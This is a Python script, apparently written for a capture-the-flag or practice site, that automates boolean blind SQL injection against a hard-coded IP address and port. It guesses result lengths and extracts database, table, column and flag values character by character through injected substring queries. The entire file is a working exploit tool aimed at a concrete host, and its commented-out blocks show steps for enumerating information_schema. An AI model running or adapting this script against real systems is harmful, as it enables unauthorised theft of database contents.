1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
| # !/usr/bin/env python3
from requests.sessions import session
import re
from time import sleep
"""
@Time : 2022/5/9 19:18
@Author : 涂寐
@File : d.py
@PRODUCT : PyCharm
@Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本
"""
class Riddle:
url = "http://47.103.94.191:8001/front/articles-1{}.html"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 '
}
estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$"
re_title = r'<h1.*?>(.*?)</h1>'
def riddle_request(self, url: str) -> list:
"""
这是一个网络请求函数
:param url: 待请求注入的网址
:return: 存在注入的判定标识
"""
with session().get(url=url, headers=self.headers) as response:
content = response.text
title_list = re.findall(self.re_title, str(content))
return title_list
def riddle_length(self, sql_syntax: str) -> int:
"""
这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维
:param sql_syntax: sql注入语句
:return: sql语句返回值的长度
"""
for num in range(1, 1024):
url = self.url.format(sql_syntax).format(num=num)
print(num, end='-')
if not self.riddle_request(url):
print(num)
return num
def riddle_estimate(self, length: int, sql_syntax: str):
"""
这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维
:param length: 猜想长度
:param sql_syntax: sql语句
"""
flag = 0
for num in range(1, length + 1):
for estimate in self.estimates:
url = self.url.format(sql_syntax).format(num=num, estimate=estimate)
if not self.riddle_request(url):
print(estimate, end='')
sleep(1)
flag = 0
break
# 避免过多请求
if flag > 3:
print('flag大于3')
break
if __name__ == "__main__":
# 猜表名
# column_name = "table_name"
# table_name = "information_schema.columns"
# limit_name = "table_schema"
# appoint_name = "news"
# 猜字段
# column_name = "column_name"
# table_name = "information_schema.columns"
# limit_name = "table_name"
# appoint_name = "flag_is_here"
# 猜字段值
column_name = "flag_number"
table_name = "news.flag_is_here"
limit_name = "fid"
appoint_name = "1"
riddle = Riddle()
# http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from
# information_schema.tables)=29).html
riddle_length = riddle.riddle_length(
sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format(
column_name=column_name, table_name=table_name, limit_name=limit_name,
appoint_name=appoint_name) + ")={num})")
# http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from
# information_schema.tables),1,1)='i').html
riddle.riddle_estimate(
sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format(
column_name=column_name, table_name=table_name, limit_name=limit_name,
appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)
|